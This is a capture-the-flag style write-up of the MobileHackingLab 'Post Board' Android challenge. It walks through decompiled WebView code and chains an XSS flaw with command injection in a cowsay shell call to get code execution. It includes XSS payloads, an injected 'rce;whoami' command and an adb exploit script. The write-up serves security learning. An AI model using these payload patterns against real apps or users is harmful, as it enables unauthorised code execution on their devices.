The Post Board lab challenges us to understand how WebViews work in Android, and how through Cross-Site Scripting (XSS), is possible to obtain Remote Code Execution (RCE). In this article, I’ll showcase my solution and demonstrate how an attacker could execute commands on the victim’s mobile device.
Introduction
The first step is to open the application, where we encounter a text input allowing us to enter messages in markdown format, which are then displayed in a list with markdown formatting. Upon exploring a bit, we find that the application is vulnerable to Cross-Site Scripting. For instance, if we input a message like <img src=x onError=alert(1) />
, the application displays a popup with an alert saying “1”. But what can we do with this vulnerability? To understand this, let’s delve into the application’s source code to see how we can escalate our vulnerability.
Static Analysis
Opening the application in JADX, we start by examining the AndroidManifest.xml
. Here, we find that the MainActivity
is exported, allowing it to be opened using intents with URIs like postboard://postmessage/<message>
.
<!--AndroidManifest.xml-->
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="34" android:compileSdkVersionCodename="14" package="com.mobilehackinglab.postboard" platformBuildVersionCode="34" platformBuildVersionName="14">
<uses-sdk android:minSdkVersion="24" android:targetSdkVersion="34"/>
<uses-permission android:name="android.permission.INTERNET"/>
<permission android:name="com.mobilehackinglab.postboard.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION" android:protectionLevel="signature"/>
<uses-permission android:name="com.mobilehackinglab.postboard.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
<application android:theme="@style/Theme.PostBoard" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:extractNativeLibs="false" android:fullBackupContent="@xml/backup_rules" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules">
<activity android:name="com.mobilehackinglab.postboard.MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="postboard" android:host="postmessage"/>
</intent-filter>
</activity>
<provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.mobilehackinglab.postboard.androidx-startup">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
</provider>
</application>
</manifest>
Next, we look into the MainActivity
class, where the web content is loaded. It implements the handleIntent
function, which checks if the application was opened with android.intent.action.VIEW
and the URI is postboard://postmessage/<message>
. If so, it decodes the base64 <message>
and executes the javascript:WebAppInterface.postMarkdownMessage
function, or javascript:WebAppInterface.postCowsayMessage
in case of an error. However, the most important part to examine in this class is the implementation of a custom WebAppInterface
.
// MainActivity
package com.mobilehackinglab.postboard;
...
import kotlin.text.StringsKt;
/* compiled from: MainActivity.kt */
@Metadata(m30d1 = {"\u0000(\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\u0002\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\b\u0010\u0005\u001a\u00020\u0006H\u0002J\u0012\u0010\u0007\u001a\u00020\u00062\b\u0010\b\u001a\u0004\u0018\u00010\tH\u0014J\u0010\u0010\n\u001a\u00020\u00062\u0006\u0010\u000b\u001a\u00020\fH\u0003R\u000e\u0010\u0003\u001a\u00020\u0004X\u0082.¢\u0006\u0002\n\u0000¨\u0006\r"}, m29d2 = {"Lcom/mobilehackinglab/postboard/MainActivity;", "Landroidx/appcompat/app/AppCompatActivity;", "()V", "binding", "Lcom/mobilehackinglab/postboard/databinding/ActivityMainBinding;", "handleIntent", "", "onCreate", "savedInstanceState", "Landroid/os/Bundle;", "setupWebView", "webView", "Landroid/webkit/WebView;", "app_debug"}, m28k = 1, m27mv = {1, 9, 0}, m25xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)
/* loaded from: classes4.dex */
public final class MainActivity extends AppCompatActivity {
private ActivityMainBinding binding;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater());
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(...)");
this.binding = inflate;
ActivityMainBinding activityMainBinding = null;
if (inflate == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
inflate = null;
}
setContentView(inflate.getRoot());
CowsayUtil.Companion.initialize(this);
ActivityMainBinding activityMainBinding2 = this.binding;
if (activityMainBinding2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
} else {
activityMainBinding = activityMainBinding2;
}
WebView webView = activityMainBinding.webView;
Intrinsics.checkNotNullExpressionValue(webView, "webView");
setupWebView(webView);
handleIntent();
}
private final void setupWebView(WebView webView) {
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebChromeClient(new WebAppChromeClient());
webView.addJavascriptInterface(new WebAppInterface(), "WebAppInterface");
webView.loadUrl("file:///android_asset/index.html");
}
private final void handleIntent() {
Intent intent = getIntent();
String action = intent.getAction();
Uri data = intent.getData();
if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null || !Intrinsics.areEqual(data.getScheme(), "postboard") || !Intrinsics.areEqual(data.getHost(), "postmessage")) {
return;
}
ActivityMainBinding activityMainBinding = null;
try {
String path = data.getPath();
byte[] decode = Base64.decode(path != null ? StringsKt.drop(path, 1) : null, 8);
Intrinsics.checkNotNullExpressionValue(decode, "decode(...)");
String message = StringsKt.replace$default(new String(decode, Charsets.UTF_8), "'", "\\'", false, 4, (Object) null);
ActivityMainBinding activityMainBinding2 = this.binding;
if (activityMainBinding2 == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
activityMainBinding2 = null;
}
activityMainBinding2.webView.loadUrl("javascript:WebAppInterface.postMarkdownMessage('" + message + "')");
} catch (Exception e) {
ActivityMainBinding activityMainBinding3 = this.binding;
if (activityMainBinding3 == null) {
Intrinsics.throwUninitializedPropertyAccessException("binding");
} else {
activityMainBinding = activityMainBinding3;
}
activityMainBinding.webView.loadUrl("javascript:WebAppInterface.postCowsayMessage('" + e.getMessage() + "')");
}
}
}
Looking into the WebAppInterface
, we find two interesting functions: postMarkdownMessage
and postCowsayMessage
.
The postMarkdownMessage
function receives a message and returns the HTML version of the markdown message, while the postCowsayMessage
function receives a message and executes cowsay.sh
.
package com.mobilehackinglab.postboard;
...
import org.json.JSONArray;
/* compiled from: WebAppInterface.kt */
@Metadata(m30d1 = {"\u0000 \n\u0002\u0018\u0002\n\u0002\u0010\u0000\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\u0002\n\u0000\n\u0002\u0010\u000e\n\u0002\b\u0005\u0018\u00002\u00020\u0001B\u0005¢\u0006\u0002\u0010\u0002J\b\u0010\u0005\u001a\u00020\u0006H\u0007J\b\u0010\u0007\u001a\u00020\bH\u0007J\u0010\u0010\t\u001a\u00020\u00062\u0006\u0010\n\u001a\u00020\bH\u0007J\u0010\u0010\u000b\u001a\u00020\u00062\u0006\u0010\f\u001a\u00020\bH\u0007R\u000e\u0010\u0003\u001a\u00020\u0004X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006\r"}, m29d2 = {"Lcom/mobilehackinglab/postboard/WebAppInterface;", "", "()V", "cache", "LWebAppCache;", "clearCache", "", "getMessages", "", "postCowsayMessage", "cowsayMessage", "postMarkdownMessage", "markdownMessage", "app_debug"}, m28k = 1, m27mv = {1, 9, 0}, m25xi = ConstraintLayout.LayoutParams.Table.LAYOUT_CONSTRAINT_VERTICAL_CHAINSTYLE)
/* loaded from: classes4.dex */
public final class WebAppInterface {
private final WebAppCache cache = new WebAppCache();
@JavascriptInterface
public final String getMessages() {
List messages = this.cache.getMessages();
String jSONArray = new JSONArray((Collection) messages).toString();
Intrinsics.checkNotNullExpressionValue(jSONArray, "toString(...)");
return jSONArray;
}
@JavascriptInterface
public final void clearCache() {
this.cache.clearCache();
}
@JavascriptInterface
public final void postMarkdownMessage(String markdownMessage) {
Intrinsics.checkNotNullParameter(markdownMessage, "markdownMessage");
String html = new Regex("```(.*?)```", RegexOption.DOT_MATCHES_ALL).replace(markdownMessage, "<pre><code>$1</code></pre>");
String html2 = new Regex("`([^`]+)`").replace(html, "<code>$1</code>");
String html3 = new Regex("!\\[(.*?)\\]\\((.*?)\\)").replace(html2, "<img src='$2' alt='$1'/>");
String html4 = new Regex("###### (.*)").replace(html3, "<h6>$1</h6>");
String html5 = new Regex("##### (.*)").replace(html4, "<h5>$1</h5>");
String html6 = new Regex("#### (.*)").replace(html5, "<h4>$1</h4>");
String html7 = new Regex("### (.*)").replace(html6, "<h3>$1</h3>");
String html8 = new Regex("## (.*)").replace(html7, "<h2>$1</h2>");
String html9 = new Regex("# (.*)").replace(html8, "<h1>$1</h1>");
String html10 = new Regex("\\*\\*(.*?)\\*\\*").replace(html9, "<b>$1</b>");
String html11 = new Regex("\\*(.*?)\\*").replace(html10, "<i>$1</i>");
String html12 = new Regex("~~(.*?)~~").replace(html11, "<del>$1</del>");
String html13 = new Regex("\\[([^\\[]+)\\]\\(([^)]+)\\)").replace(html12, "<a href='$2'>$1</a>");
String html14 = new Regex("(?m)^(\\* .+)((\\n\\* .+)*)").replace(html13, new Function1<MatchResult, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$1
@Override // kotlin.jvm.functions.Function1
public final CharSequence invoke(MatchResult matchResult) {
Intrinsics.checkNotNullParameter(matchResult, "matchResult");
return "<ul>" + CollectionsKt.joinToString$default(StringsKt.split$default((CharSequence) matchResult.getValue(), new String[]{"\n"}, false, 0, 6, (Object) null), "", null, null, 0, null, new Function1<String, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$1.1
@Override // kotlin.jvm.functions.Function1
public final CharSequence invoke(String it) {
Intrinsics.checkNotNullParameter(it, "it");
StringBuilder append = new StringBuilder().append("<li>");
String substring = it.substring(2);
Intrinsics.checkNotNullExpressionValue(substring, "this as java.lang.String).substring(startIndex)");
return append.append(substring).append("</li>").toString();
}
}, 30, null) + "</ul>";
}
});
String html15 = new Regex("(?m)^\\d+\\. .+((\\n\\d+\\. .+)*)").replace(html14, new Function1<MatchResult, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$2
@Override // kotlin.jvm.functions.Function1
public final CharSequence invoke(MatchResult matchResult) {
Intrinsics.checkNotNullParameter(matchResult, "matchResult");
return "<ol>" + CollectionsKt.joinToString$default(StringsKt.split$default((CharSequence) matchResult.getValue(), new String[]{"\n"}, false, 0, 6, (Object) null), "", null, null, 0, null, new Function1<String, CharSequence>() { // from class: com.mobilehackinglab.postboard.WebAppInterface$postMarkdownMessage$2.1
@Override // kotlin.jvm.functions.Function1
public final CharSequence invoke(String it) {
Intrinsics.checkNotNullParameter(it, "it");
StringBuilder append = new StringBuilder().append("<li>");
String substring = it.substring(StringsKt.indexOf$default((CharSequence) it, '.', 0, false, 6, (Object) null) + 2);
Intrinsics.checkNotNullExpressionValue(substring, "this as java.lang.String).substring(startIndex)");
return append.append(substring).append("</li>").toString();
}
}, 30, null) + "</ol>";
}
});
String html16 = new Regex("^> (.*)", RegexOption.MULTILINE).replace(html15, "<blockquote>$1</blockquote>");
this.cache.addMessage(new Regex("^(---|\\*\\*\\*|___)$", RegexOption.MULTILINE).replace(html16, "<hr>"));
}
@JavascriptInterface
public final void postCowsayMessage(String cowsayMessage) {
Intrinsics.checkNotNullParameter(cowsayMessage, "cowsayMessage");
String asciiArt = CowsayUtil.Companion.runCowsay(cowsayMessage);
String html = StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(StringsKt.replace$default(asciiArt, "&", "&", false, 4, (Object) null), "<", "<", false, 4, (Object) null), ">", ">", false, 4, (Object) null), "\"", """, false, 4, (Object) null), "'", "'", false, 4, (Object) null);
this.cache.addMessage("<pre>" + StringsKt.replace$default(html, "\n", "<br>", false, 4, (Object) null) + "</pre>");
}
}
Inspecting the CowsayUtil.Companion.runCowsay
function, we identify that it’s vulnerable to command injection, which can lead to Remote Code Execution (RCE). Simply by calling this function with a parameter like print; whoami
, an attacker can exploit this vulnerability.
public final String runCowsay(String message) {
Intrinsics.checkNotNullParameter(message, "message");
try {
String[] command = {"/bin/sh", "-c", CowsayUtil.scriptPath + ' ' + message};
Process process = Runtime.getRuntime().exec(command);
StringBuilder output = new StringBuilder();
InputStream inputStream = process.getInputStream();
Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
InputStreamReader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
BufferedReader bufferedReader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
BufferedReader reader = bufferedReader;
while (true) {
String it = reader.readLine();
if (it == null) {
Unit unit = Unit.INSTANCE;
Closeable.closeFinally(bufferedReader, null);
process.waitFor();
String sb = output.toString();
Intrinsics.checkNotNullExpressionValue(sb, "toString(...)");
return sb;
}
output.append(it).append("\n");
}
} catch (Exception e) {
e.printStackTrace();
return "cowsay: " + e.getMessage();
}
}
Explointg The application
Since postCowsayMessage
is within WebAppInterface
and we have an XSS vulnerability, we can achieve RCE through XSS. We just need to adapt our payload to call this function. Thus, our payload becomes rce <img src=x onError=window.WebAppInterface.postCowsayMessage('rce;whoami') />
.
As we observed that MainActivity
is exported, we can start it using the activity manager and pass our message. To simplify the process of encoding our payload, we create a script to automatically base64 encode the payload and start the application with it to obtain remote code execution.
#exploit.sh
payload="rce<img src=x onError=window.WebAppInterface.postCowsayMessage('rce;whoami') />"
base64_text=$(echo -n "$payload" | base64 -w 0)
uri="postboard://postmessage/$base64_text"
adb shell am start -a android.intent.action.VIEW -d "$uri"
adb shell am start -a android.intent.action.VIEW -d "postboard://postmessage/force_update"
All that’s left is to run the script and witness the code execution on the mobile device.
Conclusion
This lab provides us with the opportunity to understand how WebViews work in Android and how they can be vulnerable to various types of flaws that, when combined, can lead to remote code execution. It’s undoubtedly one of the best labs on WebViews. Visit the lab at MobileHackingLab - Post Board and embark on a journey of discovery to enhance your skills in mobile security.